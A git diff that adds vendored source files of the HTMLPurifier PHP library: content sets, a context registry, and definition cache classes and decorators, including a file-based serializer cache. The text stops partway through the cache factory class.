diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php
new file mode 100644
index 000000000..543e3f8f1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ContentSets.php
@@ -0,0 +1,170 @@
+<?php
+
+/**
+ * @todo Unit test
+ */
+class HTMLPurifier_ContentSets
+{
+
+ /**
+ * List of content set strings (pipe separators) indexed by name.
+ * @type array
+ */
+ public $info = array();
+
+ /**
+ * List of content set lookups (element => true) indexed by name.
+ * @type array
+ * @note This is in HTMLPurifier_HTMLDefinition->info_content_sets
+ */
+ public $lookup = array();
+
+ /**
+ * Synchronized list of defined content sets (keys of info).
+ * @type array
+ */
+ protected $keys = array();
+ /**
+ * Synchronized list of defined content values (values of info).
+ * @type array
+ */
+ protected $values = array();
+
+ /**
+ * Merges in module's content sets, expands identifiers in the content
+ * sets and populates the keys, values and lookup member variables.
+ * @param HTMLPurifier_HTMLModule[] $modules List of HTMLPurifier_HTMLModule
+ */
+ public function __construct($modules)
+ {
+ if (!is_array($modules)) {
+ $modules = array($modules);
+ }
+ // populate content_sets based on module hints
+ // sorry, no way of overloading
+ foreach ($modules as $module) {
+ foreach ($module->content_sets as $key => $value) {
+ $temp = $this->convertToLookup($value);
+ if (isset($this->lookup[$key])) {
+ // add it into the existing content set
+ $this->lookup[$key] = array_merge($this->lookup[$key], $temp);
+ } else {
+ $this->lookup[$key] = $temp;
+ }
+ }
+ }
+ $old_lookup = false;
+ while ($old_lookup !== $this->lookup) {
+ $old_lookup = $this->lookup;
+ foreach ($this->lookup as $i => $set) {
+ $add = array();
+ foreach ($set as $element => $x) {
+ if (isset($this->lookup[$element])) {
+ $add += $this->lookup[$element];
+ unset($this->lookup[$i][$element]);
+ }
+ }
+ $this->lookup[$i] += $add;
+ }
+ }
+
+ foreach ($this->lookup as $key => $lookup) {
+ $this->info[$key] = implode(' | ', array_keys($lookup));
+ }
+ $this->keys = array_keys($this->info);
+ $this->values = array_values($this->info);
+ }
+
+ /**
+ * Accepts a definition; generates and assigns a ChildDef for it
+ * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef reference
+ * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef
+ */
+ public function generateChildDef(&$def, $module)
+ {
+ if (!empty($def->child)) { // already done!
+ return;
+ }
+ $content_model = $def->content_model;
+ if (is_string($content_model)) {
+ // Assume that $this->keys is alphanumeric
+ $def->content_model = preg_replace_callback(
+ '/\b(' . implode('|', $this->keys) . ')\b/',
+ array($this, 'generateChildDefCallback'),
+ $content_model
+ );
+ //$def->content_model = str_replace(
+ // $this->keys, $this->values, $content_model);
+ }
+ $def->child = $this->getChildDef($def, $module);
+ }
+
+ public function generateChildDefCallback($matches)
+ {
+ return $this->info[$matches[0]];
+ }
+
+ /**
+ * Instantiates a ChildDef based on content_model and content_model_type
+ * member variables in HTMLPurifier_ElementDef
+ * @note This will also defer to modules for custom HTMLPurifier_ChildDef
+ * subclasses that need content set expansion
+ * @param HTMLPurifier_ElementDef $def HTMLPurifier_ElementDef to have ChildDef extracted
+ * @param HTMLPurifier_HTMLModule $module Module that defined the ElementDef
+ * @return HTMLPurifier_ChildDef corresponding to ElementDef
+ */
+ public function getChildDef($def, $module)
+ {
+ $value = $def->content_model;
+ if (is_object($value)) {
+ trigger_error(
+ 'Literal object child definitions should be stored in '.
+ 'ElementDef->child not ElementDef->content_model',
+ E_USER_NOTICE
+ );
+ return $value;
+ }
+ switch ($def->content_model_type) {
+ case 'required':
+ return new HTMLPurifier_ChildDef_Required($value);
+ case 'optional':
+ return new HTMLPurifier_ChildDef_Optional($value);
+ case 'empty':
+ return new HTMLPurifier_ChildDef_Empty();
+ case 'custom':
+ return new HTMLPurifier_ChildDef_Custom($value);
+ }
+ // defer to its module
+ $return = false;
+ if ($module->defines_child_def) { // save a func call
+ $return = $module->getChildDef($def);
+ }
+ if ($return !== false) {
+ return $return;
+ }
+ // error-out
+ trigger_error(
+ 'Could not determine which ChildDef class to instantiate',
+ E_USER_ERROR
+ );
+ return false;
+ }
+
+ /**
+ * Converts a string list of elements separated by pipes into
+ * a lookup array.
+ * @param string $string List of elements
+ * @return array Lookup array of elements
+ */
+ protected function convertToLookup($string)
+ {
+ $array = explode('|', str_replace(' ', '', $string));
+ $ret = array();
+ foreach ($array as $k) {
+ $ret[$k] = true;
+ }
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Context.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Context.php
new file mode 100644
index 000000000..00e509c85
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Context.php
@@ -0,0 +1,95 @@
+<?php
+
+/**
+ * Registry object that contains information about the current context.
+ * @warning Is a bit buggy when variables are set to null: it thinks
+ * they don't exist! So use false instead, please.
+ * @note Since the variables Context deals with may not be objects,
+ * references are very important here! Do not remove!
+ */
+class HTMLPurifier_Context
+{
+
+ /**
+ * Private array that stores the references.
+ * @type array
+ */
+ private $_storage = array();
+
+ /**
+ * Registers a variable into the context.
+ * @param string $name String name
+ * @param mixed $ref Reference to variable to be registered
+ */
+ public function register($name, &$ref)
+ {
+ if (array_key_exists($name, $this->_storage)) {
+ trigger_error(
+ "Name $name produces collision, cannot re-register",
+ E_USER_ERROR
+ );
+ return;
+ }
+ $this->_storage[$name] =& $ref;
+ }
+
+ /**
+ * Retrieves a variable reference from the context.
+ * @param string $name String name
+ * @param bool $ignore_error Boolean whether or not to ignore error
+ * @return mixed
+ */
+ public function &get($name, $ignore_error = false)
+ {
+ if (!array_key_exists($name, $this->_storage)) {
+ if (!$ignore_error) {
+ trigger_error(
+ "Attempted to retrieve non-existent variable $name",
+ E_USER_ERROR
+ );
+ }
+ $var = null; // so we can return by reference
+ return $var;
+ }
+ return $this->_storage[$name];
+ }
+
+ /**
+ * Destroys a variable in the context.
+ * @param string $name String name
+ */
+ public function destroy($name)
+ {
+ if (!array_key_exists($name, $this->_storage)) {
+ trigger_error(
+ "Attempted to destroy non-existent variable $name",
+ E_USER_ERROR
+ );
+ return;
+ }
+ unset($this->_storage[$name]);
+ }
+
+ /**
+ * Checks whether or not the variable exists.
+ * @param string $name String name
+ * @return bool
+ */
+ public function exists($name)
+ {
+ return array_key_exists($name, $this->_storage);
+ }
+
+ /**
+ * Loads a series of variables from an associative array
+ * @param array $context_array Assoc array of variables to load
+ */
+ public function loadArray($context_array)
+ {
+ foreach ($context_array as $key => $discard) {
+ $this->register($key, $context_array[$key]);
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Definition.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Definition.php
new file mode 100644
index 000000000..bc6d43364
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Definition.php
@@ -0,0 +1,55 @@
+<?php
+
+/**
+ * Super-class for definition datatype objects, implements serialization
+ * functions for the class.
+ */
+abstract class HTMLPurifier_Definition
+{
+
+ /**
+ * Has setup() been called yet?
+ * @type bool
+ */
+ public $setup = false;
+
+ /**
+ * If true, write out the final definition object to the cache after
+ * setup. This will be true only if all invocations to get a raw
+ * definition object are also optimized. This does not cause file
+ * system thrashing because on subsequent calls the cached object
+ * is used and any writes to the raw definition object are short
+ * circuited. See enduser-customize.html for the high-level
+ * picture.
+ * @type bool
+ */
+ public $optimized = null;
+
+ /**
+ * What type of definition is it?
+ * @type string
+ */
+ public $type;
+
+ /**
+ * Sets up the definition object into the final form, something
+ * not done by the constructor
+ * @param HTMLPurifier_Config $config
+ */
+ abstract protected function doSetup($config);
+
+ /**
+ * Setup function that aborts if already setup
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ if ($this->setup) {
+ return;
+ }
+ $this->setup = true;
+ $this->doSetup($config);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache.php
new file mode 100644
index 000000000..67bb5b1e6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache.php
@@ -0,0 +1,129 @@
+<?php
+
+/**
+ * Abstract class representing Definition cache managers that implements
+ * useful common methods and is a factory.
+ * @todo Create a separate maintenance file advanced users can use to
+ * cache their custom HTMLDefinition, which can be loaded
+ * via a configuration directive
+ * @todo Implement memcached
+ */
+abstract class HTMLPurifier_DefinitionCache
+{
+ /**
+ * @type string
+ */
+ public $type;
+
+ /**
+ * @param string $type Type of definition objects this instance of the
+ * cache will handle.
+ */
+ public function __construct($type)
+ {
+ $this->type = $type;
+ }
+
+ /**
+ * Generates a unique identifier for a particular configuration
+ * @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config
+ * @return string
+ */
+ public function generateKey($config)
+ {
+ return $config->version . ',' . // possibly replace with function calls
+ $config->getBatchSerial($this->type) . ',' .
+ $config->get($this->type . '.DefinitionRev');
+ }
+
+ /**
+ * Tests whether or not a key is old with respect to the configuration's
+ * version and revision number.
+ * @param string $key Key to test
+ * @param HTMLPurifier_Config $config Instance of HTMLPurifier_Config to test against
+ * @return bool
+ */
+ public function isOld($key, $config)
+ {
+ if (substr_count($key, ',') < 2) {
+ return true;
+ }
+ list($version, $hash, $revision) = explode(',', $key, 3);
+ $compare = version_compare($version, $config->version);
+ // version mismatch, is always old
+ if ($compare != 0) {
+ return true;
+ }
+ // versions match, ids match, check revision number
+ if ($hash == $config->getBatchSerial($this->type) &&
+ $revision < $config->get($this->type . '.DefinitionRev')) {
+ return true;
+ }
+ return false;
+ }
+
+ /**
+ * Checks if a definition's type jives with the cache's type
+ * @note Throws an error on failure
+ * @param HTMLPurifier_Definition $def Definition object to check
+ * @return bool true if good, false if not
+ */
+ public function checkDefType($def)
+ {
+ if ($def->type !== $this->type) {
+ trigger_error("Cannot use definition of type {$def->type} in cache for {$this->type}");
+ return false;
+ }
+ return true;
+ }
+
+ /**
+ * Adds a definition object to the cache
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ */
+ abstract public function add($def, $config);
+
+ /**
+ * Unconditionally saves a definition object to the cache
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ */
+ abstract public function set($def, $config);
+
+ /**
+ * Replace an object in the cache
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ */
+ abstract public function replace($def, $config);
+
+ /**
+ * Retrieves a definition object from the cache
+ * @param HTMLPurifier_Config $config
+ */
+ abstract public function get($config);
+
+ /**
+ * Removes a definition object to the cache
+ * @param HTMLPurifier_Config $config
+ */
+ abstract public function remove($config);
+
+ /**
+ * Clears all objects from cache
+ * @param HTMLPurifier_Config $config
+ */
+ abstract public function flush($config);
+
+ /**
+ * Clears all expired (older version or revision) objects from cache
+ * @note Be carefuly implementing this method as flush. Flush must
+ * not interfere with other Definition types, and cleanup()
+ * should not be repeatedly called by userland code.
+ * @param HTMLPurifier_Config $config
+ */
+ abstract public function cleanup($config);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator.php
new file mode 100644
index 000000000..b57a51b6c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator.php
@@ -0,0 +1,112 @@
+<?php
+
+class HTMLPurifier_DefinitionCache_Decorator extends HTMLPurifier_DefinitionCache
+{
+
+ /**
+ * Cache object we are decorating
+ * @type HTMLPurifier_DefinitionCache
+ */
+ public $cache;
+
+ /**
+ * The name of the decorator
+ * @var string
+ */
+ public $name;
+
+ public function __construct()
+ {
+ }
+
+ /**
+ * Lazy decorator function
+ * @param HTMLPurifier_DefinitionCache $cache Reference to cache object to decorate
+ * @return HTMLPurifier_DefinitionCache_Decorator
+ */
+ public function decorate(&$cache)
+ {
+ $decorator = $this->copy();
+ // reference is necessary for mocks in PHP 4
+ $decorator->cache =& $cache;
+ $decorator->type = $cache->type;
+ return $decorator;
+ }
+
+ /**
+ * Cross-compatible clone substitute
+ * @return HTMLPurifier_DefinitionCache_Decorator
+ */
+ public function copy()
+ {
+ return new HTMLPurifier_DefinitionCache_Decorator();
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function add($def, $config)
+ {
+ return $this->cache->add($def, $config);
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function set($def, $config)
+ {
+ return $this->cache->set($def, $config);
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function replace($def, $config)
+ {
+ return $this->cache->replace($def, $config);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function get($config)
+ {
+ return $this->cache->get($config);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function remove($config)
+ {
+ return $this->cache->remove($config);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function flush($config)
+ {
+ return $this->cache->flush($config);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function cleanup($config)
+ {
+ return $this->cache->cleanup($config);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php
new file mode 100644
index 000000000..4991777ce
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.php
@@ -0,0 +1,78 @@
+<?php
+
+/**
+ * Definition cache decorator class that cleans up the cache
+ * whenever there is a cache miss.
+ */
+class HTMLPurifier_DefinitionCache_Decorator_Cleanup extends HTMLPurifier_DefinitionCache_Decorator
+{
+ /**
+ * @type string
+ */
+ public $name = 'Cleanup';
+
+ /**
+ * @return HTMLPurifier_DefinitionCache_Decorator_Cleanup
+ */
+ public function copy()
+ {
+ return new HTMLPurifier_DefinitionCache_Decorator_Cleanup();
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function add($def, $config)
+ {
+ $status = parent::add($def, $config);
+ if (!$status) {
+ parent::cleanup($config);
+ }
+ return $status;
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function set($def, $config)
+ {
+ $status = parent::set($def, $config);
+ if (!$status) {
+ parent::cleanup($config);
+ }
+ return $status;
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function replace($def, $config)
+ {
+ $status = parent::replace($def, $config);
+ if (!$status) {
+ parent::cleanup($config);
+ }
+ return $status;
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function get($config)
+ {
+ $ret = parent::get($config);
+ if (!$ret) {
+ parent::cleanup($config);
+ }
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php
new file mode 100644
index 000000000..d529dce48
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Memory.php
@@ -0,0 +1,85 @@
+<?php
+
+/**
+ * Definition cache decorator class that saves all cache retrievals
+ * to PHP's memory; good for unit tests or circumstances where
+ * there are lots of configuration objects floating around.
+ */
+class HTMLPurifier_DefinitionCache_Decorator_Memory extends HTMLPurifier_DefinitionCache_Decorator
+{
+ /**
+ * @type array
+ */
+ protected $definitions;
+
+ /**
+ * @type string
+ */
+ public $name = 'Memory';
+
+ /**
+ * @return HTMLPurifier_DefinitionCache_Decorator_Memory
+ */
+ public function copy()
+ {
+ return new HTMLPurifier_DefinitionCache_Decorator_Memory();
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function add($def, $config)
+ {
+ $status = parent::add($def, $config);
+ if ($status) {
+ $this->definitions[$this->generateKey($config)] = $def;
+ }
+ return $status;
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function set($def, $config)
+ {
+ $status = parent::set($def, $config);
+ if ($status) {
+ $this->definitions[$this->generateKey($config)] = $def;
+ }
+ return $status;
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function replace($def, $config)
+ {
+ $status = parent::replace($def, $config);
+ if ($status) {
+ $this->definitions[$this->generateKey($config)] = $def;
+ }
+ return $status;
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function get($config)
+ {
+ $key = $this->generateKey($config);
+ if (isset($this->definitions[$key])) {
+ return $this->definitions[$key];
+ }
+ $this->definitions[$key] = parent::get($config);
+ return $this->definitions[$key];
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in
new file mode 100644
index 000000000..b1fec8d36
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.in
@@ -0,0 +1,82 @@
+<?php
+
+require_once 'HTMLPurifier/DefinitionCache/Decorator.php';
+
+/**
+ * Definition cache decorator template.
+ */
+class HTMLPurifier_DefinitionCache_Decorator_Template extends HTMLPurifier_DefinitionCache_Decorator
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Template'; // replace this
+
+ public function copy()
+ {
+ // replace class name with yours
+ return new HTMLPurifier_DefinitionCache_Decorator_Template();
+ }
+
+ // remove methods you don't need
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function add($def, $config)
+ {
+ return parent::add($def, $config);
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function set($def, $config)
+ {
+ return parent::set($def, $config);
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function replace($def, $config)
+ {
+ return parent::replace($def, $config);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function get($config)
+ {
+ return parent::get($config);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function flush($config)
+ {
+ return parent::flush($config);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return mixed
+ */
+ public function cleanup($config)
+ {
+ return parent::cleanup($config);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Null.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Null.php
new file mode 100644
index 000000000..d9a75ce22
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Null.php
@@ -0,0 +1,76 @@
+<?php
+
+/**
+ * Null cache object to use when no caching is on.
+ */
+class HTMLPurifier_DefinitionCache_Null extends HTMLPurifier_DefinitionCache
+{
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function add($def, $config)
+ {
+ return false;
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function set($def, $config)
+ {
+ return false;
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function replace($def, $config)
+ {
+ return false;
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function remove($config)
+ {
+ return false;
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function get($config)
+ {
+ return false;
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function flush($config)
+ {
+ return false;
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function cleanup($config)
+ {
+ return false;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer.php
new file mode 100644
index 000000000..ecacb88fe
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer.php
@@ -0,0 +1,285 @@
+<?php
+
+class HTMLPurifier_DefinitionCache_Serializer extends HTMLPurifier_DefinitionCache
+{
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return int|bool
+ */
+ public function add($def, $config)
+ {
+ if (!$this->checkDefType($def)) {
+ return;
+ }
+ $file = $this->generateFilePath($config);
+ if (file_exists($file)) {
+ return false;
+ }
+ if (!$this->_prepareDir($config)) {
+ return false;
+ }
+ return $this->_write($file, serialize($def), $config);
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return int|bool
+ */
+ public function set($def, $config)
+ {
+ if (!$this->checkDefType($def)) {
+ return;
+ }
+ $file = $this->generateFilePath($config);
+ if (!$this->_prepareDir($config)) {
+ return false;
+ }
+ return $this->_write($file, serialize($def), $config);
+ }
+
+ /**
+ * @param HTMLPurifier_Definition $def
+ * @param HTMLPurifier_Config $config
+ * @return int|bool
+ */
+ public function replace($def, $config)
+ {
+ if (!$this->checkDefType($def)) {
+ return;
+ }
+ $file = $this->generateFilePath($config);
+ if (!file_exists($file)) {
+ return false;
+ }
+ if (!$this->_prepareDir($config)) {
+ return false;
+ }
+ return $this->_write($file, serialize($def), $config);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool|HTMLPurifier_Config
+ */
+ public function get($config)
+ {
+ $file = $this->generateFilePath($config);
+ if (!file_exists($file)) {
+ return false;
+ }
+ return unserialize(file_get_contents($file));
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function remove($config)
+ {
+ $file = $this->generateFilePath($config);
+ if (!file_exists($file)) {
+ return false;
+ }
+ return unlink($file);
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function flush($config)
+ {
+ if (!$this->_prepareDir($config)) {
+ return false;
+ }
+ $dir = $this->generateDirectoryPath($config);
+ $dh = opendir($dir);
+ while (false !== ($filename = readdir($dh))) {
+ if (empty($filename)) {
+ continue;
+ }
+ if ($filename[0] === '.') {
+ continue;
+ }
+ unlink($dir . '/' . $filename);
+ }
+ }
+
+ /**
+ * @param HTMLPurifier_Config $config
+ * @return bool
+ */
+ public function cleanup($config)
+ {
+ if (!$this->_prepareDir($config)) {
+ return false;
+ }
+ $dir = $this->generateDirectoryPath($config);
+ $dh = opendir($dir);
+ while (false !== ($filename = readdir($dh))) {
+ if (empty($filename)) {
+ continue;
+ }
+ if ($filename[0] === '.') {
+ continue;
+ }
+ $key = substr($filename, 0, strlen($filename) - 4);
+ if ($this->isOld($key, $config)) {
+ unlink($dir . '/' . $filename);
+ }
+ }
+ }
+
+ /**
+ * Generates the file path to the serial file corresponding to
+ * the configuration and definition name
+ * @param HTMLPurifier_Config $config
+ * @return string
+ * @todo Make protected
+ */
+ public function generateFilePath($config)
+ {
+ $key = $this->generateKey($config);
+ return $this->generateDirectoryPath($config) . '/' . $key . '.ser';
+ }
+
+ /**
+ * Generates the path to the directory contain this cache's serial files
+ * @param HTMLPurifier_Config $config
+ * @return string
+ * @note No trailing slash
+ * @todo Make protected
+ */
+ public function generateDirectoryPath($config)
+ {
+ $base = $this->generateBaseDirectoryPath($config);
+ return $base . '/' . $this->type;
+ }
+
+ /**
+ * Generates path to base directory that contains all definition type
+ * serials
+ * @param HTMLPurifier_Config $config
+ * @return mixed|string
+ * @todo Make protected
+ */
+ public function generateBaseDirectoryPath($config)
+ {
+ $base = $config->get('Cache.SerializerPath');
+ $base = is_null($base) ? HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer' : $base;
+ return $base;
+ }
+
+ /**
+ * Convenience wrapper function for file_put_contents
+ * @param string $file File name to write to
+ * @param string $data Data to write into file
+ * @param HTMLPurifier_Config $config
+ * @return int|bool Number of bytes written if success, or false if failure.
+ */
+ private function _write($file, $data, $config)
+ {
+ $result = file_put_contents($file, $data);
+ if ($result !== false) {
+ // set permissions of the new file (no execute)
+ $chmod = $config->get('Cache.SerializerPermissions');
+ if (!$chmod) {
+ $chmod = 0644; // invalid config or simpletest
+ }
+ $chmod = $chmod & 0666;
+ chmod($file, $chmod);
+ }
+ return $result;
+ }
+
+ /**
+ * Prepares the directory that this type stores the serials in
+ * @param HTMLPurifier_Config $config
+ * @return bool True if successful
+ */
+ private function _prepareDir($config)
+ {
+ $directory = $this->generateDirectoryPath($config);
+ $chmod = $config->get('Cache.SerializerPermissions');
+ if (!$chmod) {
+ $chmod = 0755; // invalid config or simpletest
+ }
+ if (!is_dir($directory)) {
+ $base = $this->generateBaseDirectoryPath($config);
+ if (!is_dir($base)) {
+ trigger_error(
+ 'Base directory ' . $base . ' does not exist,
+ please create or change using %Cache.SerializerPath',
+ E_USER_WARNING
+ );
+ return false;
+ } elseif (!$this->_testPermissions($base, $chmod)) {
+ return false;
+ }
+ $old = umask(0000);
+ mkdir($directory, $chmod);
+ umask($old);
+ } elseif (!$this->_testPermissions($directory, $chmod)) {
+ return false;
+ }
+ return true;
+ }
+
+ /**
+ * Tests permissions on a directory and throws out friendly
+ * error messages and attempts to chmod it itself if possible
+ * @param string $dir Directory path
+ * @param int $chmod Permissions
+ * @return bool True if directory is writable
+ */
+ private function _testPermissions($dir, $chmod)
+ {
+ // early abort, if it is writable, everything is hunky-dory
+ if (is_writable($dir)) {
+ return true;
+ }
+ if (!is_dir($dir)) {
+ // generally, you'll want to handle this beforehand
+ // so a more specific error message can be given
+ trigger_error(
+ 'Directory ' . $dir . ' does not exist',
+ E_USER_WARNING
+ );
+ return false;
+ }
+ if (function_exists('posix_getuid')) {
+ // POSIX system, we can give more specific advice
+ if (fileowner($dir) === posix_getuid()) {
+ // we can chmod it ourselves
+ $chmod = $chmod | 0700;
+ if (chmod($dir, $chmod)) {
+ return true;
+ }
+ } elseif (filegroup($dir) === posix_getgid()) {
+ $chmod = $chmod | 0070;
+ } else {
+ // PHP's probably running as nobody, so we'll
+ // need to give global permissions
+ $chmod = $chmod | 0777;
+ }
+ trigger_error(
+ 'Directory ' . $dir . ' not writable, ' .
+ 'please chmod to ' . decoct($chmod),
+ E_USER_WARNING
+ );
+ } else {
+ // generic error message
+ trigger_error(
+ 'Directory ' . $dir . ' not writable, ' .
+ 'please alter file permissions',
+ E_USER_WARNING
+ );
+ }
+ return false;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README
new file mode 100755
index 000000000..2e35c1c3d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/README
@@ -0,0 +1,3 @@
+This is a dummy file to prevent Git from ignoring this empty directory.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php
new file mode 100644
index 000000000..fd1cc9be4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/DefinitionCacheFactory.php
@@ -0,0 +1,106 @@
+<?php
+
+/**
+ * Responsible for creating definition caches.
+ */
+class HTMLPurifier_DefinitionCacheFactory
+{
+ /**
+ * @type array
+ */
+ protected $caches = array('Serializer' => array());
+
+ /**
+ * @type array
+ */
+ protected $implementations = array();
+
+ /**
+ * @type HTMLPurifier_DefinitionCache_Decorator[]
+ */
+ protected $decorators = array();
+
+ /**
+ * Initialize default decorators
+ */
+ public function setup()
+ {
+ $this->addDecorator('Cleanup');
+ }
+
+ /**
+ * Retrieves an instance of global definition cache factory.
+ * @param HTMLPurifier_DefinitionCacheFactory $prototype
+ * @return HTMLPurifier_DefinitionCacheFactory
+ */
+ public static function instance($prototype = null)
+ {
+ static $instance;
+ if ($prototype !== null) {
+ $instance = $prototype;
+ } elseif ($instance === null || $prototype === true) {
+ $instance = new HTMLPurifier_DefinitionCacheFactory();
+ $instance->setup();
+ }
+ return $instance;
+ }
+
+ /**
+ * Registers a new definition cache object
+ * @param string $short Short name of cache object, for reference
+ * @param string $long Full class name of cache object, for construction
+ */
